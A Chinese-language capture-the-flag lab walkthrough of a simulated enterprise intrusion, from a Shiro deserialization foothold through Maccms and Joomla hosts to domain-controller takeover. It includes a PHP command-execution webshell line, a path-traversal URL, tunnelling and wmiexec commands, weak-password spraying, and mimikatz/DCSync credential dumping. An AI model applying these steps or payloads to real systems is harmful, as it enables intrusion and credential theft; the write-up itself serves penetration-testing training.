CyberStrikeLab Lab12 弱口令打穿内网
字数 4074
更新时间 2026-04-03 12:23:11
CyberStrikeLab Lab12 渗透测试教学文档
第一章:环境与目标概述
本次渗透测试模拟一个典型的企业内网环境,攻击路径遵循“外网突破 -> 内网横向移动 -> 域控攻克”的经典流程。核心目标是展示如何综合利用多种漏洞和弱口令,最终完全控制内网域环境。
目标环境:
- 外网边界入口:IP地址为
172.66.77.88,运行基于 RuoYi (若依) 框架开发的管理系统。 - 内网网段:
10.10.10.0/24。 - 关键内网主机:
10.10.10.8:运行苹果CMS (Maccms)。10.10.10.66:运行Joomla 3.6.x。10.10.10.5:域控制器 (Domain Controller)。
- 攻击机:Kali Linux。
第二章:外网边界突破 (RuoYi框架)
攻击从外网Web服务开始,目标是获取初始立足点。
2.1 Shiro 弱密钥漏洞利用
- 信息收集:访问目标IP,识别出目标系统使用了Apache Shiro框架进行身份认证。
- 漏洞探测与利用:
- 使用综合渗透工具(如ShiroAttack2、shiro_rce_tool等)对Shiro的
rememberMeCookie进行弱密钥爆破。 - 关键操作:工具会尝试使用常见的Shiro默认密钥列表进行AES解密和反序列化探测。
- 使用综合渗透工具(如ShiroAttack2、shiro_rce_tool等)对Shiro的
- 结果:成功匹配到有效的加密密钥,证实存在Shiro反序列化漏洞,为后续攻击铺平道路。
2.2 内存马注入与权限维持
为了规避安全软件的文件扫描,采用无文件内存马技术。
- 注入内存马:利用已识别的Shiro反序列化漏洞,将Behinder(冰蝎)或AntSword(蚁剑)的Java内存马Payload注入到目标JVM中。
- 获取初始权限:
- 使用蚁剑客户端连接注入的内存马WebShell,成功获取第一个Flag(Flag1),证明漏洞利用成功。
- 建立持久化控制:
- 考虑到后续内网渗透需要更强大的C2(命令与控制)功能,通过蚁剑上传Cobalt Strike的
artifact.exe木马文件。 - 在蚁剑中执行该木马,使目标主机上线到Cobalt Strike团队服务器,建立Beacon会话。这提供了更稳定的反向连接、丰富的内网渗透模块和团队协作能力。
- 考虑到后续内网渗透需要更强大的C2(命令与控制)功能,通过蚁剑上传Cobalt Strike的
第三章:内网横向移动
获得边界主机权限后,进行内网信息收集和横向扩展。
3.1 内网探测与代理搭建
- 发现双网卡:在已控的边界主机上执行
ipconfig /all,发现其除了外网IP,还存在内网网卡,IP属于10.10.10.0/24网段。这证实该主机是通往内网的跳板。 - 建立隧道:为了从攻击机直接访问内网资源,需要在跳板机上搭建代理。
- 方法:上传
gost等代理工具到跳板机,并执行命令建立SOCKS5代理隧道。 - 示例命令:
gost -L socks5://:1080,在跳板机的1080端口启动SOCKS5服务。
- 方法:上传
- 配置攻击机:在攻击机(Kali)上配置
proxychains,将网络流量导向该SOCKS5代理,从而所有扫描和攻击流量都能穿透到内网。
3.2 横向移动 - 攻陷苹果CMS主机 (10.10.10.8)
- 主机发现与端口扫描:通过代理使用
fscan等内网扫描工具对10.10.10.0/24网段进行扫描,发现10.10.10.8主机开放Web服务,并识别出苹果CMS (Maccms)应用。 - 后台弱口令爆破:
- 定位到Maccms后台登录页面(通常为
/admin或/admin.php)。 - 使用常见弱口令字典进行爆破,成功使用
admin/cslab(安全码也为cslab)登录后台管理系统。
- 定位到Maccms后台登录页面(通常为
- 任意文件读取漏洞利用:
- 通过对Maccms源码的审计(或利用已知漏洞),发现后台“模板管理”或“广告管理”等功能存在文件路径遍历漏洞。
- 漏洞点:
/admin/index.php?m=template-adsinfo或类似参数未正确过滤。 - Payload构造:通过参数穿越目录,读取系统敏感文件。
- 读取数据库配置文件:
http://10.10.10.8/admin/index.php?m=template-adsinfo&file=../../inc/config/config.php,从而获取数据库密码。 - 读取Flag:继续穿越目录读取Web根目录或系统任意位置的
flag文件,获得Flag2。
- 读取数据库配置文件:
- 发现遗留WebShell并提权:
- 通过任意文件读取漏洞,发现网站目录下已存在一个他人遗留的WebShell文件(如
1.php)。 - 读取该WebShell文件内容,获取连接密码(
maccms)。 - 使用蚁剑直接连接此WebShell,获得该主机的控制权。
- 通过任意文件读取漏洞,发现网站目录下已存在一个他人遗留的WebShell文件(如
- 权限提升与信息收集:
- 通过已获取的WebShell,上传并执行Cobalt Strike的木马,使
10.10.10.8主机上线CS。 - 在CS会话中执行
hashdump或mimikatz命令,成功抓取该Windows主机的本地用户密码哈希(NTLM Hash)。
- 通过已获取的WebShell,上传并执行Cobalt Strike的木马,使
第四章:横向移动 - 攻陷Joomla主机 (10.10.10.66)
- 服务识别:扫描发现
10.10.10.66:8080运行着Joomla 3.6.x版本。该版本存在已知的漏洞。 - 漏洞利用(后台模板编辑RCE):
- 访问Joomla后台登录页(如
/administrator)。 - 由于目标可能存在默认口令或通过其他信息推测出的口令,尝试登录后台。(文档未明确说明如何获取后台密码,但此步骤是前提)
- 登录后台后,找到“模板管理”->“模板编辑”功能。
- 通过编辑模板文件(如
index.php),插入PHP系统命令执行代码,例如:<?php system($_GET[‘cmd’]); ?>。 - 保存后,访问该模板文件即可执行系统命令。这是一种通过后台编辑功能实现的远程代码执行(RCE)。
- 访问Joomla后台登录页(如
- 自动化脚本利用:
- 为提高效率,可编写Python脚本自动化此过程。脚本需实现:
- 通过代理(
proxychains)访问目标。 - 模拟登录Joomla后台。
- 定位模板编辑接口,发送POST请求创建或修改一个包含恶意代码的PHP文件(如
cmd.php)。
- 通过代理(
- 为提高效率,可编写Python脚本自动化此过程。脚本需实现:
- 获取权限:
- 成功执行
whoami命令,显示权限为nt authority\system,即最高系统权限。 - 通过此RCE漏洞,上传CS木马并执行,使
10.10.10.66主机上线,并获取Flag3。
- 成功执行
第五章:域环境渗透与攻克域控
在控制多台内网主机后,最终目标指向域控制器(10.10.10.5)。
5.1 信息收集与攻击面发现
- 发现Active Directory证书服务(AD CS):在已控制的
10.10.10.66主机上,通过服务枚举或端口扫描,发现其安装了AD CS服务器角色。这开启了基于证书的攻击面,如ESC1、ESC8等提权漏洞。 - 域内关系分析:使用
BloodHound等域环境分析工具,收集已控主机的会话、本地管理员组、域组成员关系等信息,绘制攻击路径,寻找通往域管理员的最短路径。
5.2 非预期解法:针对性弱口令爆破
由于AD CS攻击路径可能较为复杂,攻击者尝试了更直接的方案。
- 字典生成:观察整个靶场环境,发现多处使用了
cslab、cs1ab等字符串作为密码或安全码。基于此信息,生成针对性字典,例如包含cslab、cs1ab、cs1ab@iwu、cslab@123等变体的字典。 - 对域管理员账户爆破:
- 目标:域控制器
10.10.10.5上的Administrator账户。 - 工具:使用
hydra、medusa或crackmapexec等工具,通过SMB、WinRM或RDP协议进行爆破。 - 结果:成功爆破出域管理员密码为
cs1ab@iwu。
- 目标:域控制器
- 横向连接域控:
- 使用Impacket工具包中的
wmiexec.py脚本,凭借获取的域管理员凭据(用户名Administrator,密码cs1ab@iwu)在域控制器上建立命令执行会话。 - 命令示例:
python3 wmiexec.py domain/administrator:cs1ab@iwu@10.10.10.5
- 使用Impacket工具包中的
- 完全控制域控:
- 通过
wmiexec获得的Shell,上传CS木马并执行,最终在域控制器10.10.10.5上成功上线Beacon会话。 - 在域控制器上执行
ntdsutil或使用mimikatz的lsadump::dcsync功能,导出整个Active Directory域的所有用户哈希(NTLM Hash),标志着对整个域环境的完全控制,渗透任务完成。
- 通过
第六章:总结与关键知识点
- 弱口令是致命弱点:贯穿整个渗透测试,从RuoYi后台、苹果CMS后台到域管理员账户,弱口令是突破口的关键。
- 框架与组件漏洞:Apache Shiro的弱密钥、老旧版本Joomla的后台RCE,是获取初始权限和内网横向移动的重要抓手。
- 攻击链构建:外网突破 -> 代理搭建 -> 内网扫描 -> 漏洞利用 -> 凭据窃取 -> 横向移动 -> 域信息收集 -> 最终攻击,形成完整闭环。
- 工具链协同:综合使用了蚁剑(WebShell管理)、Cobalt Strike(C2与横向移动)、Impacket(协议利用)、fscan(内网扫描)、BloodHound(域分析)等多种工具,各司其职。
- 免杀与持久化:使用Java内存马规避文件查杀,并快速迁移到功能更强大的C2框架进行持久化控制。
- 灵活的攻击思路:在发现AD CS这条“预期”路径时,同时尝试基于已有信息生成字典进行爆破的“非预期”解法,体现了渗透测试中多线并行的思维。
相似文章
相似文章